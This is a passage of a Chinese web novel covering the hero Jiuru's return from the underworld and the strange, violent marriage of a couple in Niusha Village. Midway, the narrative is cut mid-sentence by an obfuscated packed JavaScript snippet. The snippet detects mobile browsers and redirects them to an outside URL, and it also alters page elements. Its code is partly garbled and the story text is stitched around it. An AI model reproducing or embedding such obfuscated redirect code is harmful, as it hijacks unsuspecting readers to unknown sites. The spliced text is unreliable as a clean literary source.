“而你——你是我剥离出去的‘初心’。你没有我的罪孽,没有我的疯狂,没有我对人性的失望。你一次次重生,一次次救人,哪怕记忆破碎,也从未改变那颗想要‘帮助他人’的心。” “这很好。” “所以,回去吧。回到人间去。不要试图唤醒我,不要试图让我‘完整’。就让我在这里悬着,让你在人间走着。我们各司其职,各偿其债。” 九如想说什么。 可一股阴风突然从黄泉路深处吹来,裹住他雾状的魂体。那风冰冷刺骨,带着忘川河水的腥气,还有无数亡魂的叹息。 “且归去。” 守渊者最后的声音,像遥远的钟鸣。 九如被风吹起,飘过人间桥,飘向桥那端的光明。他最后回头看了一眼——那颗巨大的猴脑悬在白骨丝线中央,缓缓搏动,像一颗永远无法安息的心脏。 桥下的忘川河里,无数亡魂伸出手,朝他挥舞,仿佛在告别。 光明。 刺痛眼睛的光明。 九如猛地睁开眼,大口喘气。肺叶像破旧的风箱,每一次呼吸都带着血腥味。视线模糊,只能看见几个人影围在身边。 “九如!九如你醒了!” 是芒种的声音,带着哭腔。 视线逐渐清晰。他躺在地上,身下是粗糙的岩石——还在往生洞里。烈风煌蹲在他左边,脸色铁青,手还按在刀柄上,眼神里是毫不掩饰的担忧。白砚跪在右边,手指搭在他腕脉上,眉头紧锁。芒种趴在他胸前,眼泪鼻涕糊了一脸,抓着他的衣襟哭得上气不接下气。 “我……”九如开口,声音嘶哑得像砂纸摩擦,“我回来了?” 烈风煌重重哼了一声:“废话!你刚才整个人都没了气息,魂灯都快灭了!老子还以为你真要去找阎王喝茶!” 白砚松开手,长长舒了口气:“脉象稳住了。但魂体受损严重,需要静养。”他顿了顿,眼神复杂地看着九如,“你刚才……看见了什么?那令牌……” 九如撑着坐起来。芒种赶紧扶着他,小手还在抖。 他低头看自己的右手。掌心平滑,没有伤口,没有印记,仿佛那块“渊”字令牌从未存在过。但他知道,它就在他身体里——或者说,它唤醒的东西,就在他记忆深处。 守渊者。 黄泉路。 人间桥。 还有那些血腥的、不堪的、被他遗忘了无数轮回的真相。 “我看见了……”九如缓缓道,每一个字都说得艰难,“我是谁。” 烈风煌皱眉:“什么意思?” 九如看向他,看向白砚,看向还在抽噎的芒种。这些一路陪他走来的人,这些在他最脆弱时没有抛弃他的人。 “我就是守渊者。”他说,声音平静得连自己都意外,“或者说,我是他的一部分。是他剥离出去的、还没有堕落的‘初心’。” 洞窟里死一般寂静。 只有芒种压抑的抽泣声,和远处往生井中死气盘旋的呜咽。 良久,白砚先开口:“所以……你不断重生,寻找金瞳白发之人,其实是在寻找你自己?” 九如点头。 烈风煌的表情变得极其复杂。他想说什么,张了张嘴,又闭上。最后只是别过脸,低声道:“食人脑的……也是你?” 这话像一把刀,捅进九如心口。 他闭了闭眼:“是。虽然那是‘另一个我’,但那确实是我。是我在失明后的恐惧中,一步步滑向深渊,最终……” 他没有说下去。 芒种忽然用力摇头,眼泪飞溅:“不是的!九如哥哥才不是那样的人!你救了我,救了桃花村的人,在白骨岛宁愿自己流血也要救那些岛民……你和那个吃人的怪物不一样!” 九如摸了摸她的头,苦笑:“谢谢。但那就是我。是我过去犯下的罪孽。” 他看向往生井。井口的死气还在盘旋,那些模糊的人形无声地飘荡,像在等待什么。 “守渊者——完整的那个我——选择留在黄泉路,做一座‘人间桥’,送误入的亡魂回家。那是他的赎罪。”九如站起来,虽然脚步虚浮,却站得很稳,“而我……我要继续走下去。” “去哪里?”白砚问。 九如望向洞口方向——那里透进来微弱的、属于人间的天光。 “去完成我该做的事。”他说,“寻找深渊之门,弄清楚重生的真相,解开白砚你的魂咒,还有……” 他顿了顿,眼神变得坚定。 “还有,找到一种方式,既不成为‘依赖他人的神’,也不堕入‘食人脑的怪物’,而是作为一个人,去帮助那些真正需要帮助的人。” 烈风煌转过头,深深看了他一眼。 然后,这个修罗道的传人,这个手上沾满鲜血的战士,这个总说“别多管闲事”的冷漠家伙,忽然咧嘴笑了。 笑得有点难看,有点勉强,但确实是笑。 “行。”他说,站起身,拍了拍衣袍上的灰尘,“那还等什么?走吧。” 白砚也站起来,手臂上的魂咒隐隐作痛,但他只是理了理衣袖,淡淡道:“前方应该就是黑风谷的出口了。出了谷,再往北三天,就是扶风城。” 芒种擦干眼泪,用力点头:“我、我跟你们一起!” 九如看着他们。 这一路走来,他失去了很多——记忆,身份,甚至一部分自我。但他也得到了很多:同伴,信任,还有重新选择道路的勇气。 他不是守渊者。 他是九如。 一个会迷茫、会犯错、会流血也会流泪,但依然想要在黑暗中点一盏灯的人。 他最后看了一眼往生井,然后转身,朝着洞口的光明走去。 身后,井中传来一声若有若无的叹息。 像告别,又像祝福。 18. 牛煞村诡遇怨偶 牛煞村最多的就是牛。 这句话写在村口那块饱经风霜的木牌上,字迹被风雨蚀得斑驳,却依然透着股不容置疑的笃定。九如一行人走近时,最先迎接他们的不是村民,而是空气里那股浓得化不开的气味——青草与牛粪混合的土腥气,混着皮革鞣制的酸涩,还有大锅里熬煮骨胶的黏腻甜香。 村子坐落在两山之间的谷地,屋舍皆是黄泥夯筑的矮房,屋顶铺着厚厚的干草。每户人家的院墙外都拴着牛,黄牛、水牛、牦牛,毛色油亮,体型健硕,铜铃大的眼睛温顺又麻木地反刍着草料。牛角上大多系着红布条,有的还挂着小小的铜铃,风一过,叮当声连成一片,像某种古老而缓慢的吟唱。 路是牛踩出来的土路,被蹄印和车辙压得坑洼不平,雨后积着浑浊的水洼,倒映着灰蒙蒙的天。几个光屁股的孩童蹲在路边玩泥巴,看见生人,也不怕,只是抬起沾满泥污的小脸,黑亮的眼睛直勾勾盯着。他们的脸颊上有两团不正常的红晕,嘴唇却有些发紫——这是常年生活在高海拔地区的特征。 “这地方……牛味儿真冲。”烈风煌皱了皱眉,用手在鼻前扇了扇,效果甚微。 白砚倒是神色如常。他目光扫过那些牛,又扫过村舍,最后落在远处山坡上——那里有一片坟冢,坟头都插着牛角,有的单只,有的成对,在风中沉默地矗立。“牛煞村……”他低声念着村名牌上的字,“‘煞’字不祥。牛为耕畜,本应象征温顺丰饶,以‘煞’为名,怕是另有隐情。” 芒种紧紧跟在九如身后,小手攥着他的衣角。自从黄泉路归来,她变得更黏九如了,仿佛生怕一松手,这个总是平静微笑的哥哥又会突然消失,去往某个她触碰不到的地方。她小声说:“九如哥哥,我有点饿……” 他们在白骨岛沉没后匆匆北行,穿黑风谷,过往生洞,已有两日未曾正经歇脚进食。九如虽然魂体受损,但更多是精神上的疲惫——守渊者的记忆像沉重的烙印,每一次回想都让胸口发闷。他需要时间消化,也需要食物补充体力。 前方路边,挑着一面褪色的酒旗。 旗是土黄色的粗布,上面用墨汁画了个简陋的茶碗,旁边歪歪扭扭写着“歇脚”二字。旗杆插在一间低矮的土屋前,屋外摆着几张歪腿的木桌和条凳,有个驼背老汉正蹲在门口的小泥炉前扇火,炉上坐着个硕大的黑铁壶,壶嘴冒着白汽。 是个茶馆。 简陋,但在这荒僻的山村里,已是难得的歇息处。 “就这儿吧。”九如说,声音有些沙哑。 四人走到桌前坐下。凳子吱呀作响,仿佛随时会散架。老汉抬头看了他们一眼——浑浊的眼睛像蒙了层白翳,视线在他们脸上停留片刻,尤其在九如腰间那柄黯淡的承影剑上多停了一瞬,然后什么也没说,低下头继续扇火。 “老丈,”白砚开口,语气温和,“可有吃食?” 老汉闷声道:“馍,酱牛筋,粗茶。” “各来四份。” 老汉慢吞吞起身,掀开里屋的布帘进去。不多时端出个木托盘:四个比脸还大的硬面馍,四碟黑红色的酱牛筋,四只豁口的粗陶碗,碗里是褐色的茶水,浮着几片粗梗茶叶。 食物简单,却热气腾腾。馍是刚蒸出来的,掰开能看见里面粗糙的麦麸;酱牛筋炖得烂糊,酱香浓郁;粗茶虽涩,但解渴。烈风煌也不挑剔,抓起馍就啃。白砚吃得斯文些,但速度不慢。芒种饿坏了,腮帮子塞得鼓鼓的,像只小仓鼠。 九如掰了块馍放进嘴里,慢慢咀嚼。麦香混着淡淡的碱味,是人间最朴实的味道。他喝着茶,目光无意识地扫过街道。 然后,他看见了那对夫妻。 争吵是从街对面的院落里传来的。 先是女人的尖哭,像被人掐住了喉咙,凄厉又绝望:“你打我!你又打我!这日子没法过了——!” 接着是男人的低吼,压抑着愤怒:“你闭嘴!再闹我真动手了!” “你动啊!你打死我好了!反正我也不想活了——” “啪!” 清脆的耳光声。 哭声戛然而止,变成了更加撕心裂肺的嚎啕。 茶馆里的客人都见怪不怪。几个本地汉子端着茶碗,交换着暧昧又鄙夷的眼神,窃窃私语: “罗青家的又闹上了……” “三天一小吵,五天一大闹,这玉娘真是个搅家精。” “也怪罗青脾气太倔,不会哄媳妇……” “哄?那种婆娘越哄越来劲!要我说,打得好!” 九如皱眉。 他看向对面的院子。土墙不高,能看见里面站着一男一女。男人背对着街道,身材高大,肩膀宽阔,穿着粗布短褂,露出的手臂肌肉虬结,皮肤是常年日晒的黝黑。他正指着地上的女人,手指颤抖,显然气极了。 女人瘫坐在地上,头发散乱,遮住了半边脸。她穿着一件水红色的旧衫子,料子不算好,但裁剪合身,衬得腰肢纤细。此刻衫子被扯歪了,露出小半边雪白的肩膀,上面赫然有几道青紫的指痕。 她哭得浑身颤抖,肩膀一耸一耸,像风中残柳。忽然,她抬起头,透过散乱的发丝,目光直直看向茶馆这边—— 不,是看向九如他们这桌。 更准确地说,是看向芒种。 那眼神里有求救,有哀戚,还有一种孤注一掷的决绝。 女人猛地爬起来,跌跌撞撞冲出院子,直奔茶馆而来。她跑得急,一只鞋都跑掉了,赤脚踩在碎石路上也不觉疼,就这么扑到了芒种面前,“噗通”一声跪了下来。 “妹子……妹子你救救我……” 她抓住芒种的手,力气大得吓人。芒种吓了一跳,手里的馍掉在桌上,酱汁溅了一身。 “姐姐你、你先起来……”芒种慌乱地想扶她,可女人死死抓着不放,眼泪像断了线的珠子,扑簌簌往下掉。 茶馆里瞬间安静了。 所有目光都聚焦过来。本地人眼神复杂,有同情,有看热闹,也有不耐烦。那驼背老汉停下手里的活,皱巴巴的脸皮抽了抽,嘴唇嚅动,最终什么也没说,低下头继续扇火。 烈风煌脸色一沉,手按向刀柄。白砚轻轻摇头,示意他先别动。 九如打量着这个女人。 她年纪约莫二十出头,生得很美——不是大家闺秀的端庄美,而是山野间那种带着鲜活生气的、像野山茶般浓艳的美。皮肤白,不是养尊处优的细腻白皙,而是一种缺乏血色的、近乎透明的苍白。眉毛细长,眼角微挑,鼻梁挺直,嘴唇薄而红,此刻被自己咬破了,渗着血珠。最引人注目的是那双眼睛,眼尾微微上翘,瞳仁是浅褐色的,此刻蓄满泪水,像两潭深不见底的秋水。 只是这美里,透着股说不出的怪异。 九如说不清哪里不对。或许是她的指甲过于尖长,或许是她的脖颈过于纤细,或许是那身水红衫子在这灰扑扑的村落里鲜艳得刺眼……又或许,是她抓住芒种手时,指尖那种冰冷的、仿佛没有体温的触感。 “姐姐,你先起来说话。”九如开口,声音平静。 女人这才注意到九如。她抬起泪眼,看向他,眼神里闪过一丝极快的、难以捉摸的东西——像是惊讶,又像是审视。然后她松开芒种,转而跪向九如,磕起头来:“公子……求公子为我做主……” 那个叫罗青的男人也追了过来。他站在茶馆外,脸色铁青,胸膛剧烈起伏,拳头攥得死紧,手背上青筋暴起。他看着跪地的媳妇,眼神里有愤怒,有痛苦,还有一种深沉的、近乎绝望的疲惫。 “玉娘!”他低吼道,“你给我回去!别在这儿丢人现眼!” 玉娘猛地回头,眼泪还挂在脸上,声音却陡然尖厉起来:“我丢人?罗青,我嫁给你三年,当牛做马伺候你,伺候你那个瘫在床上的老娘!你呢?你给了我什么?吃不饱穿不暖,还动不动就拳打脚踢!昨夜我不过多问了你一句去了哪儿,你就掐我脖子,扇我耳光——!” 她猛地扯开衣领。 脖颈上,几道清晰的淤青指痕,还有指甲划破的血痕。肩膀上的青紫更加触目惊心,一直蔓延到锁骨下方。 围观的人群发出低低的抽气声。有妇人露出不忍之色,小声议论: “这罗青下手也太狠了……” “玉娘虽然爱闹,也不该往死里打啊……” 罗青的脸一阵红一阵白。他想说什么,嘴唇哆嗦着,却发不出声音。最后只是重重一跺脚,转身要走。 “站住。” 开口的是烈风煌。 他不知何时已经站起来,高大的身形像座山,挡在了罗青面前。那双深褐色的眼睛冷冷盯着罗青,带着一种久经沙场之人才有的压迫感:“打女人?” 罗青被迫停步。他看着烈风煌,眼神里有警惕,也有一种山村汉子面对外来强者的本能畏缩,但更多的是一种被冤枉的愤怒:“这是我家事!与你们何干!” “家事?”烈风煌嗤笑,“当街打人,还叫家事?” 玉娘像是抓到了救命稻草,膝行几步,又抓住芒种的裙角,哭得更加凄惨:“妹子……你们是外乡人,不知道这畜生的真面目!他表面老实,背地里……背地里不知做了多少龌龊事!我命苦啊……爹娘早死,被他花言巧语骗来这穷山沟,如今想走都走不了……” 芒种哪里见过这场面。她心软,看玉娘哭得梨花带雨,又见那些触目惊心的伤痕,眼圈也跟着红了。她蹲下身,掏出自己的手帕——那是从桃花村带出来的,洗得发白,却叠得整整齐齐——递给玉娘:“姐姐,你别伤心,擦擦脸……九如哥哥他们一定会帮助你的!” 玉娘接过手帕,却没有擦泪,只是紧紧攥在手里,仿佛那是唯一的救命稻草。她抬头看向九如,眼神哀戚得像濒死的小鹿:“公子……求您……带我走……离开这个鬼地方,离开这个畜生……我做牛做马报答您……” 九如没有立刻回答。 他看向罗青。 这个男人站在那儿,像一尊沉默的石像。他的愤怒已经平息了,取而代之的是一种深不见底的疲惫和……悲哀。他看着玉娘,眼神复杂得难以形容——有恨,有不甘,有厌恶,但最深处,似乎还有一丝……怜悯? “她说你打她。”九如开口,声音不大,却清晰地传到每个人耳中,“为什么?” 罗青张了张嘴,喉咙里发出嗬嗬的声音,像被什么堵住了。良久,他才沙哑道:“我没想打她……是她……是她先……” “我先什么?”玉娘尖叫起来,“我先问了你去哪儿!我是你媳妇,难道连问都不能问?你昨夜三更才回来,身上一股子怪味,我问你去哪儿了,你就掐我脖子——!” “够了!”罗青低吼,眼睛赤红,“玉娘,有些事……别逼我说出来。” 这话里有话。 围观的人群骚动起来。窃窃私语声更大了: “怪味?什么怪味?” “罗青该不会真在外面……” “玉娘虽然闹,但罗青这反应……怕是心里有鬼。” 白砚忽然开口:“这位大哥,你手臂上的伤是怎么回事?” 众人这才注意到,罗青裸露的小臂上,缠着一圈布条,布条边缘渗出暗红色的血迹。布条缠得很潦草,像是匆忙包扎的。 罗青下意识捂住手臂,眼神闪烁:“放牛时……被树枝划的。” “树枝?”白砚走过去,不顾罗青后退,轻轻捏住布条边缘——他没有解开,只是凑近闻了闻,然后皱眉,“这血腥味……不像新伤。伤口怕是有些时日了,一直没好好处理,已经化脓了。” 玉娘立刻道:“什么树枝!那是他作孽的证据!他半夜去后山,不知道做了什么见不得人的勾当,被山里的东西抓伤了!我问他,他就打我!” 后山。 九如捕捉到这个字眼。他看向远处——牛煞村背靠的山峦绵延起伏,林木幽深,即使在白日里也透着一股阴森之气。山坡上的那些插着牛角的坟冢,大多也集中在后山方向。 “后山有什么?”九如问,语气平静,却带着不容回避的力量。 罗青的脸色变了。 玉娘抢着道:“有煞!牛煞!我们村子叫牛煞村,就是因为后山闹煞!那些早年间意外死掉的牛,怨气不散,成了煞,专在夜里出来害人!这畜生一定是撞了煞,被煞气迷了心窍,才会变成这样!” “你胡说八道什么!”罗青终于爆发了,“玉娘!我念在夫妻情分,一直给你留着面子!你再这样血口喷人,别怪我——” “别怪你什么?”玉娘惨笑,“杀了我?就像你杀那些牛一样?” 这句话像一块巨石砸进水面。 茶馆内外,死一般寂静。 连那驼背老汉扇火的手都停住了。所有本地人的脸色都变了——不再是看热闹的轻松,而是惊恐、厌恶,还有一种被触及禁忌的愤怒。 杀牛。 在牛煞村,这是最大的忌讳。 牛是生计,是伙伴,是信仰。老死的牛会被隆重埋葬,坟头插上牛角,享受香火供奉。意外死去的牛,则会被认为是“煞气所害”,需要请巫师做法驱煞,尸体也要深埋,不能食用——据说吃了煞气侵染的牛肉,人会发疯。 而现在,玉娘指控她的丈夫——一个放牛为生的汉子——杀牛。 “我没有!”罗青的声音嘶哑得像破锣,“玉娘,你疯了吗?!这种话能乱说?!” “我乱说?”玉娘猛地站起来,也不哭了,脸上还挂着泪痕,眼神却变得异常尖锐,“那你告诉我,你前天晚上偷偷摸摸去后山埋的是什么?我看见了!你用麻袋装着,沉甸甸的,一路滴着血——那不是牛尸是什么?!” 罗青的脸色瞬间惨白。 他踉跄后退一步,嘴唇哆嗦着,想辩解,却发不出声音。周围村民的眼神已经变了,从最初的同情转为怀疑,再转为隐隐的敌意。 “罗青……”一个年纪稍长的汉子开口,语气沉重,“玉娘说的……是真的?” “我没有!”罗青几乎是吼出来的,“那是……那是……” “是什么?”玉娘步步紧逼,“你说啊!当着大家的面说清楚!你半夜三更去后山埋什么见不得人的东西?!” 罗青的额头上渗出冷汗。他看看玉娘,又看看周围的乡亲,最后目光落在九如一行人身上——尤其是九如腰间那柄剑,还有白砚那双仿佛能洞悉一切的眼睛。 他忽然像被抽干了力气,肩膀垮了下来。 “是……”他声音低得像蚊蚋,“是一只死羊……我在山里捡到的,怕人误会,就偷偷埋了……” “死羊?”玉娘尖笑,“咱们村十里八乡谁养羊?后山哪来的羊?罗青,你撒谎都撒不圆!” 是啊,牛煞村只养牛。这是祖辈传下来的规矩,据说养其他牲畜会冲撞牛神,招来灾祸。所以村里别说羊,连鸡鸭都少见。 罗青的解释,漏洞百出。 村民们的眼神越来越冷。有人已经默默退开几步,仿佛罗青身上带着瘟疫。那个年长的汉子叹了口气,摇摇头,转身走了。其他人也陆续散去,只剩下几个胆大的还留着看热闹,但眼神里已没了同情,只有鄙夷和警惕。 玉娘看着罗青孤立无援的样子,嘴角几不可察地勾起一抹弧度——转瞬即逝,又恢复成凄楚可怜的模样。她转身再次跪在九如面前,磕头如捣蒜:“公子……您都看见了……这畜生不仅打我,还做下这等伤天害理的事……求您带我走……我一天都不想在这里待了……” 芒种已经哭了出来。她拉着九如的袖子:“九如哥哥……玉娘姐姐好可怜……我们帮帮她吧……” 白砚没有表态,只是若有所思地看着罗青,又看看玉娘。 烈风煌抱着胳膊,冷眼旁观,显然对这种家庭纠纷毫无兴趣。 九如沉默了很久。 他扶起玉娘——触手冰凉,那种不似活人的寒意再次传来。他松开手,看向罗青:“你,跟我来。” 他转身走向茶馆旁边一条僻静的小巷。罗青愣了一下,犹豫片刻,还是跟了上去。玉娘想跟,被白砚拦住了:“姑娘,让他们单独说几句吧。” 巷子很窄,两边是黄土高墙,墙上爬着干枯的藤蔓。阳光只能照到墙头,巷底阴冷潮湿,地上长着滑腻的青苔。 九如站定,转身看着罗青。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109783|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个男人比他高半头,肩膀宽阔,手掌粗大,是个典型的山里汉子。可此刻他佝偻着背,眼神躲闪,像做了什么亏心事。 “说实话。”九如开口,声音不高,却带着一种不容抗拒的威严——那是属于守渊者的、久居上位者的气场,虽然他自己并未察觉,“你手臂上的伤,还有你去后山埋的东西,到底是什么?” 罗青浑身一震。 他抬头看着九如,眼神里充满挣扎。良久,他才哑声道:“我……我不能说。” “为什么?” “说了……她会死。”罗青的声音低得像耳语,“村里人……不会放过她。” 九如皱眉:“她?玉娘?” 罗青点头,眼圈忽然红了——这个高大汉子,此刻像个无助的孩子:“她是我媳妇……三年前我从山外娶回来的……一开始很好,又勤快又懂事,对我娘也好……可是后来……后来她变了……” “怎么变的?” 罗青深吸一口气,仿佛下定了决心:“大概一年前,她生了一场大病。高烧三天三夜,请了大夫都说没救了。可第四天早上,她自己好了。只是……从那以后,她就像变了个人。” 他顿了顿,眼神里充满恐惧:“她变得……特别怕光。白天很少出门,就算出门也要打伞,穿得严严实实。她吃得越来越少,尤其不吃热食,只吃凉的、生的……而且……” “而且什么?” “而且她身上……总有股血腥味。”罗青的声音在颤抖,“我一开始以为是月事,可后来发现不是。她……她每隔几天,就要喝血。” 九如瞳孔一缩。 “喝血?” “牛血。”罗青痛苦地闭上眼睛,“一开始是偷喝家里养的牛的血——用麦秆扎进牛脖子,吸几口。后来牛被她吸得越来越瘦,我怕人发现,就去后山……那里有野牛群,也有村里放养的牛,我……我杀了一头病牛,取血给她……” 所以手臂上的伤,是杀牛时被牛角顶的? 所以去后山埋的,是牛尸? “她知道你发现了,就倒打一耙,先指控你杀牛?”九如问。 罗青点头,眼泪终于掉下来:“我劝过她……求过她……我说咱们去看大夫,不管花多少钱我都挣。可她不肯,说这不是病,是‘命’。她还威胁我,如果我说出去,她就告诉全村人,说我虐待她,说我杀牛——你知道在牛煞村,杀牛是什么罪名吗?轻则逐出村子,重则……要填煞井的!” 煞井。 九如记起进村时,在村中央看到的那口被石板封住的深井。井边围着栅栏,挂满了符咒和红布条。原来那就是“煞井”——处置犯了大忌之人的地方。 “所以你一直忍着?”九如问。 “我能怎么办?”罗青惨笑,“她是我媳妇……而且……而且我娘喜欢她。我娘瘫在床上三年了,全靠玉娘伺候。玉娘虽然……虽然变了,但对我娘一直很好,喂饭擦身,从无怨言。我娘说,玉娘是老天爷赐给罗家的福星……” 福星? 一个需要喝牛血才能活下去的“福星”? 九如忽然想起白骨岛。那里的岛民因食毒鱼而疯狂,紫珠苦等十年守渊者,最终却落得岛沉人亡的下场。人性之复杂,欲望之扭曲,他见得太多。可眼前这件事,似乎又有所不同。 “昨晚你为什么打她?”九如问。 罗青的表情变得极其古怪。恐惧,厌恶,还有一丝……恶心? “昨晚……”他声音压得更低,“我半夜醒来,发现她不在床上。出去找,看见她……她在牛棚里,趴在一头小牛犊脖子上……在吸血。” 他浑身颤抖,仿佛那画面还在眼前:“不是用麦秆,是直接用嘴……像野兽一样……那小牛犊才三个月大,被她吸得直蹬腿……我冲过去拉开她,她回头看我……满嘴是血,眼睛红得像要滴血……我吓坏了,下意识推了她一把,她撞在墙上,就开始哭,说我打她……” 真相,往往比表象更狰狞。 九如看着眼前这个痛苦不堪的男人,又想起巷口那个哭得梨花带雨、指控丈夫家暴的女人。 谁是真?谁是假? 或者说,在这段扭曲的关系里,究竟谁才是受害者,谁才是加害者? “公子……”罗青忽然跪了下来,抓住九如的衣摆,“求您……别把这事说出去……玉娘她……她以前不是这样的……她一定是有苦衷……您帮帮她……也帮帮我……我实在不知道该怎么办了……” 一个被吸血妻子威胁、污蔑、逼到绝境的男人,到头来还在为妻子求情。 九如沉默良久,扶起他。 “先回去吧。”他说,“这件事,我需要想想。” 两人走出小巷。 茶馆前,玉娘还跪在那里,芒种陪着她,小声安慰。白砚和烈风煌站在一旁,见九如出来,都看了过来。 玉娘抬头,泪眼婆娑地看着九如,又看看罗青,眼神里闪过一丝紧张。 九如走到她面前,蹲下身,平视着她的眼睛。 那双浅褐色的、像秋水般的眼睛,此刻还蓄着泪,楚楚可怜。可九如看得很仔细——在瞳孔最深处,有一丝极淡的、几乎难以察觉的红芒。 像血。 “玉娘姑娘,”九如开口,声音温和,“你相公说,昨晚是他不对,不该推你。他愿意认错。” 玉娘愣住了。 罗青也愣住了。 九如继续道:“不过他说,你身体不好,需要静养。从今天起,你就待在家里,别再出门了。饮食方面……他会想办法。” 这话说得隐晦,但在场几人都听懂了——罗青认下了“家暴”的罪名,换取玉娘安分待在家里,不再惹事。而“想办法”,自然是指继续为她提供牛血。 这是妥协。 是罗青为了保护这个已经变成怪物的妻子,所能做的最大让步。 玉娘的眼神变幻不定。她看着九如,又看看罗青,最后垂下眼帘,低声道:“多谢公子……只要他不再打我……我……我愿意好好过日子……” 她站起来,拍了拍膝盖上的土,走到罗青身边,怯生生地拉住他的袖子:“相公……我们回家吧……” 罗青身体僵硬,但还是点了点头。 两人相携离去。背影一高一矮,本该是恩爱夫妻的模样,却透着一股说不出的诡异和沉重。 芒种松了口气,擦擦眼泪:“太好了……他们和好了……” 白砚却走到九如身边,低声道:“你信那男人的话?” “不全信。”九如望着那对夫妻远去的背影,“但也不全信那女人的话。真相……恐怕在两者之间。” 烈风煌哼了一声:“管他真假,吃饱喝足赶紧走。这种破事,掺和进去准没好事。” 九如没有反驳。 他坐回桌前,端起已经凉了的粗茶,喝了一口。茶苦涩,却让人清醒。 牛煞村。 吸血媳妇。 杀牛禁忌。 还有后山那些插着牛角的坟冢,村中央那口被封住的煞井…… 这一切,像一张无形的网,正在慢慢收紧。 而他们,已经一脚踏了进来。 驼背老汉不知何时走了过来,给他们的茶碗续上热水。他低着头,声音嘶哑得像破风箱: “外乡人……听老汉一句劝……歇够了,就赶紧走吧。” “这牛煞村的浑水……淌不得。” 九如抬头,看着老汉浑浊的眼睛:“老丈知道什么?” 老汉摇摇头,什么也没说,佝偻着背,慢慢走回炉子前,继续扇火。 炉火明明灭灭,映着他皱巴巴的脸,像一张风干的老树皮。 茶馆外,天色渐暗。 远山如黛,暮霭沉沉。 牛铃叮当,一声,一声,敲在逐渐暗下来的天色里,像某种不祥的预兆。 九如握紧了承影剑柄。 剑身冰凉,无声无息。 但九如知道,有些事,避不开。 就像黄泉路上那颗悬着的猴脑,就像守渊者那句“且归去”。 该来的,总会来。 19. 牛煞村诡遇怨偶(二) 茶馆那场风波看似平息,实则暗流汹涌。 玉娘挽着罗青的手臂走了,背影在夕阳下拉得很长,像一对相互搀扶、实则互相拉扯的影子。芒种目送他们远去,擦了擦眼角,转身对九如露出一个欣慰的笑容:“九如哥哥,你真好……他们终于和好了。” 九如没有回应。他端起茶碗,褐色的茶水已经凉透,水面浮着薄薄的油花。他盯着那圈涟漪,仿佛能从中看见更深的东西——罗青那双充满挣扎与痛苦的眼睛,玉娘眼角那丝转瞬即逝的诡异弧度,还有牛煞村那些沉默而警惕的村民。 白砚轻轻放下茶钱——几枚边缘磨得光滑的铜板,落在木桌上发出沉闷的声响。他看向驼背老汉:“老丈,村里可有借宿的地方?” 老汉抬眼,那双蒙着白翳的眼睛在四人脸上扫过,最后落在九如腰间那柄剑上。他沉默良久,才慢吞吞道:“村东头有间空屋,主家去年搬去镇上了,钥匙在我这儿。不过……”他顿了顿,“要收钱。” 烈风煌嗤笑:“废话。” 老汉从怀里摸出一把生锈的钥匙,放在桌上:“一晚五十文,不包吃食。” 价格不菲。但在这荒僻山村,能有片瓦遮头已属不易。白砚又数出铜板,老汉收下,不再多言,佝偻着背走回炉前,继续扇那似乎永远扇不旺的炉火。 四人离了茶馆,按老汉指的方向往村东走。天色完全暗了下来,村舍里陆续亮起油灯,昏黄的光从窗纸透出来,在土路上投下模糊的光斑。牛铃在夜色里叮当响着,此起彼伏,像某种神秘的暗语。 借宿的屋子确实空了很久。推开木门,一股霉味混着尘土气息扑面而来。屋里陈设简陋:一张土炕,一张缺腿的木桌,两个歪歪扭扭的条凳。墙角结着蛛网,地上积着厚厚的灰。 芒种捂着鼻子咳嗽两声,却还是主动道:“我、我来打扫!” 她从小包袱里翻出块旧布,开始擦拭桌椅。烈风煌靠在门框上,抱着胳膊,冷眼看着窗外沉沉的夜色。白砚在屋里转了一圈,检查门窗是否牢固——这是他多年行走江湖养成的习惯。九如则在炕沿坐下,闭目养神。 其实他静不下来。 守渊者的记忆还在脑海里翻腾,像一锅烧沸的汤。那些战场、高塔、食人脑的罪恶、被剥皮的剧痛……每回忆一次,胸口就闷痛一次。而今日在茶馆目睹的这场闹剧,又给他添了新的困惑。 “九如。”白砚的声音响起。 九如睁开眼。白砚坐在他对面,手臂上的衣袖挽起了一截——反噬魂咒已经蔓延到了手肘,紫色的咒文在昏暗光线里幽幽发亮,像活的蜈蚣在皮下游走。白砚的脸色比白天更苍白了,额角渗出细密的冷汗,但他神情依旧平静。 “那对夫妻的事,”白砚缓缓道,“你怎么看?” 九如沉默片刻:“罗青没说全。” “玉娘也没说全。”白砚接道,“但至少有一点可以肯定——玉娘需要喝牛血。而罗青在为她提供血源。” “杀牛在村里是大忌。”烈风煌忽然开口,他不知何时也转过身来,眼神锐利,“那汉子宁可背着杀牛的罪名,也要供他媳妇喝血。要么是情深义重,要么……是被拿捏住了什么把柄。” 芒种停下手里的动作,小脸皱成一团:“可是……玉娘姐姐看起来好可怜……她身上的伤都是真的啊……” “伤是真的。”白砚淡淡道,“但伤是怎么来的,未必如她所说。” 气氛一时沉默。 油灯的火苗跳跃着,在墙壁上投出扭曲的影子。远处传来狗吠,一声接一声,急促而警觉。接着是梆子声——有人在巡夜。 “先休息吧。”九如最终道,“明日再说。” 四人简单吃了些干粮,芒种和衣睡在炕里侧,三个男人在外侧挤着躺下。烈风煌很快发出均匀的呼吸声——他能在任何环境下快速入睡,这是多年刀口舔血养成的本事。白砚则盘膝打坐,运功压制魂咒的疼痛。九如闭着眼,却毫无睡意。 他听见屋外风声呜咽,听见牛铃叮当,听见更远处似乎有若有若无的哭声——像女人的呜咽,又像风吹过岩缝的尖啸。 直到后半夜,他才迷迷糊糊睡去。 第二日清晨,九如是被争吵声吵醒的。 声音从院子外面传来,还是那对夫妻。只是这一次,争吵的地点换成了罗青家的院门口,围观的人比昨日更多,几乎半个村子的人都聚了过来。 九如四人赶到时,场面已经十分混乱。 